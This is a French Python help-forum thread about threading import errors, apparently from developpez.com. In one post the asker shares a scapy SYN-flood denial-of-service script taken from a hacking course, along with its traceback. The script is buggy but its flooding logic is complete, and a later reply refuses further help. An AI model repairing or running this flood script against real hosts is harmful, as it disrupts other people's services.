IdentifiantMot de passe
Loading...
Mot de passe oublié ?Je m'inscris ! (gratuit)
Navigation

Inscrivez-vous gratuitement
pour pouvoir participer, suivre les réponses en temps réel, voter pour les messages, poser vos propres questions et recevoir la newsletter

Python Discussion :

No module named 'thread'


Sujet :

Python

  1. #1
    Nouveau membre du Club
    Profil pro
    Inscrit en
    Décembre 2004
    Messages
    49
    Détails du profil
    Informations personnelles :
    Localisation : France, Nord (Nord Pas de Calais)

    Informations forums :
    Inscription : Décembre 2004
    Messages : 49
    Points : 30
    Points
    30
    Par défaut No module named 'thread'
    Bonjour,

    toujours en formation python je souhaites utiliser sur Pycharm le module Thread...

    quand je fais j'ai le message :

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    import thread ModuleNotFoundError: No module named 'thread'
    j'ai trouvé des informations :

    * faire un cela ne résout pas mon problème

    * thread fait parti du module threading donc faire un ou faire un
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    from threading import thread
    --> ne me permet pas de faire reconnaître la commande thread...

    j'ai même essayé :
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    pip install --user _thread
    Bref je suis encore dans l'impasse merci de votre aide...
      0  0

  2. #2
    Membre averti Avatar de zancrows
    Homme Profil pro
    Étudiant
    Inscrit en
    Décembre 2016
    Messages
    155
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France, Côtes d'Armor (Bretagne)

    Informations professionnelles :
    Activité : Étudiant
    Secteur : Industrie

    Informations forums :
    Inscription : Décembre 2016
    Messages : 155
    Points : 346
    Points
    346
    Par défaut
    bonjour,
    le problème vient du fait que la classe Thread du module threading s'écrit avec un T majuscule

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
     
    >>> import threading
    >>> threading.Thread
    >>> <class 'threading.Thread'>
    ou

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
     
    >>> from threading import Thread
    >>> Thread
    >>> <class 'threading.Thread'>
      0  0

  3. #3
    Expert éminent sénior
    Homme Profil pro
    Architecte technique retraité
    Inscrit en
    Juin 2008
    Messages
    21 287
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France, Manche (Basse Normandie)

    Informations professionnelles :
    Activité : Architecte technique retraité
    Secteur : Industrie

    Informations forums :
    Inscription : Juin 2008
    Messages : 21 287
    Points : 36 776
    Points
    36 776
    Par défaut
    Salut,

    Citation Envoyé par wfirefox Voir le message
    toujours en formation python je souhaites utiliser sur Pycharm le module Thread...

    ....

    Bref je suis encore dans l'impasse merci de votre aide...
    threading n'est pas une fonctionnalité de base: impossible de l'utiliser sans ouvrir la documentation... ne serait-ce que pour vérifier l'orthographe des "noms".

    - W
    Architectures post-modernes.
    Python sur DVP c'est aussi des FAQs, des cours et tutoriels
      0  0

  4. #4
    Nouveau membre du Club
    Profil pro
    Inscrit en
    Décembre 2004
    Messages
    49
    Détails du profil
    Informations personnelles :
    Localisation : France, Nord (Nord Pas de Calais)

    Informations forums :
    Inscription : Décembre 2004
    Messages : 49
    Points : 30
    Points
    30
    Par défaut
    Citation Envoyé par zancrows Voir le message
    bonjour,
    le problème vient du fait que la classe Thread du module threading s'écrit avec un T majuscule

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
     
    >>> import threading
    >>> threading.Thread
    >>> <class 'threading.Thread'>
    ou

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
     
    >>> from threading import Thread
    >>> Thread
    >>> <class 'threading.Thread'>
    bon j'ai essayer a priori cela fonctionne en jouant avec les majuscules et seulement sir je fais from threading import Thread, si je fais un import thread avec ou sans maj il veux pas

    mais ensuite j'ai l'erreur :

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
      Thread.start_new_Thread(synflood(target,port))
    AttributeError: type object 'Thread' has no attribute 'start_new_Thread'
      0  0

  5. #5
    Membre averti Avatar de zancrows
    Homme Profil pro
    Étudiant
    Inscrit en
    Décembre 2016
    Messages
    155
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France, Côtes d'Armor (Bretagne)

    Informations professionnelles :
    Activité : Étudiant
    Secteur : Industrie

    Informations forums :
    Inscription : Décembre 2016
    Messages : 155
    Points : 346
    Points
    346
    Par défaut
    ça ne fonctionne pas pour deux raisons:
    1) la méthode start_new_Thread() s'écrit start_new_thread().
    2) cette méthode fait partie du module thread en python 2 et du module _thread en python 3

    je te renvoie au message de wiztricks
      0  0

  6. #6
    Nouveau membre du Club
    Profil pro
    Inscrit en
    Décembre 2004
    Messages
    49
    Détails du profil
    Informations personnelles :
    Localisation : France, Nord (Nord Pas de Calais)

    Informations forums :
    Inscription : Décembre 2004
    Messages : 49
    Points : 30
    Points
    30
    Par défaut
    Citation Envoyé par zancrows Voir le message
    ça ne fonctionne pas pour deux raisons:
    1) la méthode start_new_Thread() s'écrit start_new_thread().
    2) cette méthode fait partie du module thread en python 2 et du module _thread en python 3

    je te renvoie au message de wiztricks
    merci pour votre réponse.

    j'ai tester sur python 3 ou 2 et avec des majuscules ou des minuscules et j'ai toujours le problème soit l'import n'est pas reconnue soit c'est la commande
      0  0

  7. #7
    Expert éminent
    Avatar de fred1599
    Homme Profil pro
    Lead Dev Python
    Inscrit en
    Juillet 2006
    Messages
    3 843
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France, Meurthe et Moselle (Lorraine)

    Informations professionnelles :
    Activité : Lead Dev Python
    Secteur : Arts - Culture

    Informations forums :
    Inscription : Juillet 2006
    Messages : 3 843
    Points : 7 151
    Points
    7 151
    Par défaut
    Voici un exemple selon le choix de la version python que tu utilises

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    #python 3.x
     
    >>> import _thread
    >>> new = _thread.start_new_thread(lambda x: x**2, (5,))
     
    #python 2.x
     
    >>> import thread
    >>> new = thread.start_new_thread(lambda x: x**2, (5,))
    Celui qui trouve sans chercher est celui qui a longtemps cherché sans trouver.(Bachelard)
    La connaissance s'acquiert par l'expérience, tout le reste n'est que de l'information.(Einstein)
      0  0

  8. #8
    Nouveau membre du Club
    Profil pro
    Inscrit en
    Décembre 2004
    Messages
    49
    Détails du profil
    Informations personnelles :
    Localisation : France, Nord (Nord Pas de Calais)

    Informations forums :
    Inscription : Décembre 2004
    Messages : 49
    Points : 30
    Points
    30
    Par défaut
    Citation Envoyé par fred1599 Voir le message
    Voici un exemple selon le choix de la version python que tu utilises

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    #python 3.x
     
    >>> import _thread
    >>> new = _thread.start_new_thread(lambda x: x**2, (5,))
     
    #python 2.x
     
    >>> import thread
    >>> new = thread.start_new_thread(lambda x: x**2, (5,))
    mon code :

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    from scapy.all import *
    from time import sleep
    import _thread
    import random
    import logging
     
    if len(sys.argv) !=4:
     
        print ("Utilisation - ./SYNFloodind.py [IP_Target] [Port_Number] [Threads]")
     
        sys.exit()
     
    target = str(sys.argv[1])
    port = str(sys.argv[2])
    threads = int(sys.argv[3])
     
    print ("SYN Flooding en cours .... CTRL+C pour arreter")
     
    def synflood(target, port):
        while 1:
            X = random.randint(0,65535)
            send(IP(dst=target)/TCP(dport=port,sport=X),verbose=0)
     
    for X in range (0, threads):
        _thread.start_new_thread(synflood(target,port))
    sur la 3.6 j'ai encore un message :

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    SYN Flooding en cours .... CTRL+C pour arreter
    Traceback (most recent call last):
      File "/root/PycharmProjects/Alphorm/Chap3/doS/Synflooding.py", line 25, in <module>
        _thread.start_new_thread(synflood(target,port))
      File "/root/PycharmProjects/Alphorm/Chap3/doS/Synflooding.py", line 22, in synflood
        send(IP(dst=target)/TCP(dport=port,sport=X),verbose=0)
      File "/root/PycharmProjects/Alphorm/venv/lib/python3.6/site-packages/scapy/base_classes.py", line 227, in __call__
        i.__init__(*args, **kargs)
      File "/root/PycharmProjects/Alphorm/venv/lib/python3.6/site-packages/scapy/packet.py", line 135, in __init__
        self.fields[f] = self.get_field(f).any2i(self, v)
      File "/root/PycharmProjects/Alphorm/venv/lib/python3.6/site-packages/scapy/fields.py", line 1083, in any2i
        return self.any2i_one(pkt,x)
      File "/root/PycharmProjects/Alphorm/venv/lib/python3.6/site-packages/scapy/fields.py", line 1062, in any2i_one
        x = self.s2i[x]
    KeyError: '8080'
     
    Process finished with exit code 1
    j'ai essayer avec different port idem pour le key error de la fin.

    ensuite j'adapte le code pour la 2.7 et là j'ai toujours le message et si je met les espace comme indiqué précédemment j'ai :

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
      thread.start new thread(synflood(target,port))
                       ^
    SyntaxError: invalid syntax
    alors que sur le tuto video lui il n'a aucun problème :-(
      0  0

  9. #9
    Expert éminent sénior
    Homme Profil pro
    Architecte technique retraité
    Inscrit en
    Juin 2008
    Messages
    21 287
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France, Manche (Basse Normandie)

    Informations professionnelles :
    Activité : Architecte technique retraité
    Secteur : Industrie

    Informations forums :
    Inscription : Juin 2008
    Messages : 21 287
    Points : 36 776
    Points
    36 776
    Par défaut
    Citation Envoyé par wfirefox Voir le message
    alors que sur le tuto video lui il n'a aucun problème :-(
    Si vous voulez programmer avec Python, il faut commencer par prendre le temps d'ouvrir un des nombreux tutos. gratuits qui sont disponibles ici ou ailleurs.
    Mais si votre seul intérêt dans la programmation est de jouer avec des codes qui foutent la grouille, on ne va pas vous aider.

    - W
    Architectures post-modernes.
    Python sur DVP c'est aussi des FAQs, des cours et tutoriels
      0  1

Discussions similaires

  1. ImportError: No module named PyQt4
    Par Sephiroth Lune dans le forum PyQt
    Réponses: 31
    Dernier message: 22/03/2011, 09h03
  2. NameError: global name 'thread' is not defined
    Par Balbuzard dans le forum Général Python
    Réponses: 6
    Dernier message: 15/07/2009, 06h52
  3. class/module name must be CONSTANT
    Par maxeur dans le forum Ruby
    Réponses: 2
    Dernier message: 15/01/2008, 08h44
  4. ImportError: No module named _md5
    Par kedare dans le forum Général Python
    Réponses: 3
    Dernier message: 25/07/2007, 21h33

Partager

Partager
  • Envoyer la discussion sur Viadeo
  • Envoyer la discussion sur Twitter
  • Envoyer la discussion sur Google
  • Envoyer la discussion sur Facebook
  • Envoyer la discussion sur Digg
  • Envoyer la discussion sur Delicious
  • Envoyer la discussion sur MySpace
  • Envoyer la discussion sur Yahoo